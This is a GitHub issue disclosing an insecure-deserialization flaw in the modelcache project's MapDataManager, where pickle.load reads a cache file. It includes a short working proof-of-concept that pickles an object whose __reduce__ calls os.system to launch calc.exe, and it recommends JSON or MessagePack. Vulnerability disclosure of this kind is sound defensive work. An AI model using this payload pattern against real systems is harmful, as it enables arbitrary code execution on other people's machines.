Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Insecure Deserialization Vulnerability in DataManager #70

Open
EDMPL opened this issue Mar 18, 2025 · 0 comments
Open

Insecure Deserialization Vulnerability in DataManager #70

EDMPL opened this issue Mar 18, 2025 · 0 comments

Comments

@EDMPL
Copy link

EDMPL commented Mar 18, 2025

Hi,

I've discovered a critical vulnerability in the MapDataManager class where pickle.load is used to deserialize cached data from a file. The use of pickle is inherently unsafe as it can execute arbitrary Python code during deserialization. This poses a significant risk, such as enabling remote code execution (RCE) by deserializing malicious objects.

PoC

Below is a simple PoC for this issue, I also attach a picture with 'dir' payload for your reference.


import pickle
import os
from modelcache.manager import get_data_manager

# Malicious class that executes arbitrary code when deserialized
class Exploit:
    def __reduce__(self):
        return (os.system, ('calc.exe',))  # calc.exe for windows

malicious_payload = pickle.dumps(Exploit())

with open("data_map.txt", "wb") as f: #Using data_map.txt like in factory.py
    f.write(malicious_payload)

# Simulate loading the malicious cache file
data_manager = get_data_manager(data_path="data_map.txt", max_size=1000)

While the example Flask application uses SQLite as the cache base, similar risks could arise if user-controlled data is cached into the database and subsequently deserialized.

Recommendation

To mitigate this issue, I strongly recommend avoiding pickle for serialization. Safer alternatives like JSON or MessagePack should be used, as they do not allow code execution.

Thanks.

Image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant